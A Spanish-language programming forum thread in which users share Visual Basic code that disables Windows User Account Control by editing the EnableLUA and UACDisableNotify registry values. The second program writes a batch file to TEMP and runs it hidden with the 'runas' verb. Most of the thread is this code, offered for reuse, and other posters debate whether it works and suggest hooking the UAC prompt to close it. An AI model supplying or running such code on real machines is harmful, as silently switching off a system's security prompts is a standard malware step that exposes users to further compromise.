[Sources code] desactivando UAC

[x64core]

hola buenas a todos 
hoy les vengo a traer un codigo hecho por mi para desactivar la UAC de los nuevos windows ( apartir de vista ) la llamada UAC 
mi idea es acceder a la ruta del registro donde se establece el valor de la uac
bien primero debemos de saber q el valor de la clave debe estar en 0 para desactivarla si es 1 esta activada  y tambien la pc necesita reinicio para que funcione.

espero que les sirva hecho por mi 

Código (vb) [Seleccionar] Expandir




Private Declare Function RegSetValueExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Long, ByVal cbData As Long) As Long
Private Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RtlAdjustPrivilege Lib "NTDLL" (ByVal Privilege As Long, ByVal Enable As Boolean, ByVal Client As Boolean, WasEnabled As Long) As Long

Const HKEY_LOCAL_MACHINE = &H80000002


Public Sub DesactivarUAC()
Dim key As Long

Call RtlAdjustPrivilege(17, True, True, 0)
If RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Security Center", 0&, &H20000 Or &H2& Or &H4&, key) = 0 Then
    If (RegSetValueExA(key, "UACDisableNotify", 0, 4, 0, 4) = 0) Then RegCloseKey key
End If

If RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", 0&, &H20000 Or &H2& Or &H4&, key) = 0 Then
    If (RegSetValueExA(key, "EnableLUA", 0, 4, 0, 4) = 0) Then RegCloseKey key
End If
End Sub



[Elemental Code]

bueno

No tngo windows 7 aca.
Ahora con un if, te fijas que sea 0, entonces, no haces nada.
Sino... tampoco haces nada
No termino de entender 
Ahora, para tocar el registro, necesitas que se ejecute como administrador.

[x64core]

hola pana pues con los if si quizas no te haz fijado noce pero cierro las claves abiertas lo hice en una sola linea por eso
y para eso obtengo privilegios 

[79137913]

HOLA!!!

Esta util, ni me fije si funciona, pero cambiaria la parte donde pones:

Código (vb) [Seleccionar] Expandir

If RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Security Center", 0&, &H20000 Or &H2& Or &H4&, key) = 0 Then
    If (RegSetValueExA(key, "UACDisableNotify", 0, 4, 0, 4) = 0) Then RegCloseKey key
End If
If RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", 0&, &H20000 Or &H2& Or &H4&, key) = 0 Then
    If (RegSetValueExA(key, "EnableLUA", 0, 4, 0, 4) = 0) Then RegCloseKey key
End If
Por esto:

Código (vb) [Seleccionar] Expandir


If Not RegOpenKeyEx(...)  Then
    If Not RegSetValueExA(key, "UACDisableNotify", 0, 4, 0, 4)  Then RegCloseKey key
End If
If Not RegOpenKeyEx(...)  Then
    If Not RegSetValueExA(key, "EnableLUA", 0, 4, 0, 4) Then RegCloseKey key
End If

GRACIAS POR LEER!!!

[x64core]

  79137913  si pana lo probe en win home 7 en vista me imamgino que debe funcionar 

[ignorantev1.1]

Y para desactivar la UAC, se necesita que la UAC este desactivada? 

[x64core]

  no te funciono? reiniciaste la pc ? yo lo probe con mi win y si me funciono , no lo e probado en vista noce si funciona noce si tienes vista 

[Elemental Code]

no podes modificar el registro de windows sin cuenta de administrador 
(Si tengo cuenta de administrador, apago el UAC yo mismo )

[Psyke1]

La única solución que vi 100% efectiva, fue hacer un hook para detectar cuando se abría, entonces lo cerraba y ya está.
Lo del registro es verdad que da problemas.

DoEvents!

[sabeeee]

No funciona, pero hay otros códigos que si funcionan

miren

Código [Seleccionar] Expandir

Option Explicit

Private Declare Function CreateFile Lib "kernel32" _
Alias "CreateFileA" ( _
ByVal lpFileName As String, _
ByVal dwDesiredAccess As Long, _
ByVal dwShareMode As Long, _
ByVal lpSecurityAttributes As Long, _
ByVal dwCreationDisposition As Long, _
ByVal dwFlagsAndAttributes As Long, _
ByVal hTemplateFile As Long) As Long

Private Declare Function WriteFile Lib "kernel32" ( _
ByVal hFile As Long, _
ByVal lpBuffer As Any, _
ByVal nNumberOfBytesToWrite As Long, _
lpNumberOfBytesWritten As Long, _
ByVal lpOverlapped As Long) As Long

Private Declare Function CloseHandle Lib "kernel32" ( _
ByVal hHandle As Long) As Long

Const OPEN_ALWAYS = 4
Const GENERIC_WRITE = &H40000000
Const FILE_SHARE_WRITE = &H2

Const FILE_ATTRIBUTE_NORMAL = &H80

Private Declare Function ShellExecuteEx Lib "shell32.dll" ( _
ByRef lpExecInfo As SHELLEXECUTEINFOA) As Long

Private Type SHELLEXECUTEINFOA
    cbSize                  As Long
    fMask                   As Long
    hwnd                    As Long
    lpVerb                  As String
    lpFile                  As String
    lpParameters            As String
    lpDirectory             As String
    nShow                   As Long
    hInstApp                As Long
    lpIDList                As Long
    lpClass                 As String
    hkeyClass               As Long
    dwHotKey                As Long
    hIcon                   As Long
    hProcess                As Long
End Type

Const SW_NORMAL = 1
Const SW_HIDE = 0

Private Sub Form_Load()
On Error Resume Next
    Dim strPath     As String
    Dim strBatCode  As String

    strBatCode = "Reg add " & Chr(34) & "hkey_local_machine\SOFTWARE\Microsoft\Security Center" & Chr(34) & " /v UACDisableNotify /t reg_dword /d 00000001 /f" & vbCrLf & _
                 "Reg add " & Chr(34) & "hkey_local_machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" & Chr(34) & " /v EnableLUA /t REG_DWORD /d 00000000 /f"


    Write2File Environ$("TEMP") & "\temp.bat", strBatCode
    strPath = Environ$("TEMP") & "\temp.bat"


    If Elevate(strPath) Then
        MsgBox "! Elevación de Privilegios Exitosa ¡ A : " & vbCrLf & _
        strPath, vbInformation, "ShellExecuteEx RUNAS Verb" ' si lo usan quiten estos mensajes solo los coloque para probar la función
    Else
        MsgBox "No se pudo elevar privilegios A : " & vbCrLf & _
        strPath, vbInformation, "ShellExecuteEx RUNAS Verb"
    End If

    End

End Sub
Private Function Elevate(strPath As String) As Boolean


    Dim ExInfo      As SHELLEXECUTEINFOA
    Dim lnRet       As Long

    With ExInfo
        .cbSize = Len(ExInfo)
        .fMask = 0&
        .hwnd = hwnd
        .lpVerb = "runas"
        .lpFile = strPath
        .lpParameters = vbNullChar
        .lpDirectory = vbNullChar
        .nShow = SW_HIDE
    End With

    On Error Resume Next

    lnRet = ShellExecuteEx(ExInfo)

    If lnRet <> 1 Then
        Elevate = False
        Exit Function
    End If

    Elevate = True

End Function
Private Sub Write2File(Filename As String, Buffer As String)
    On Error Resume Next
    Dim hFile       As Long
    Dim hWrite      As Long

    hFile = CreateFile(Filename, GENERIC_WRITE, FILE_SHARE_WRITE, 0, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0)
    If hFile <> 0 Then
        hWrite = WriteFile(hFile, Buffer, Len(Buffer), 0, 0)
    End If
    CloseHandle (hFile)
End Sub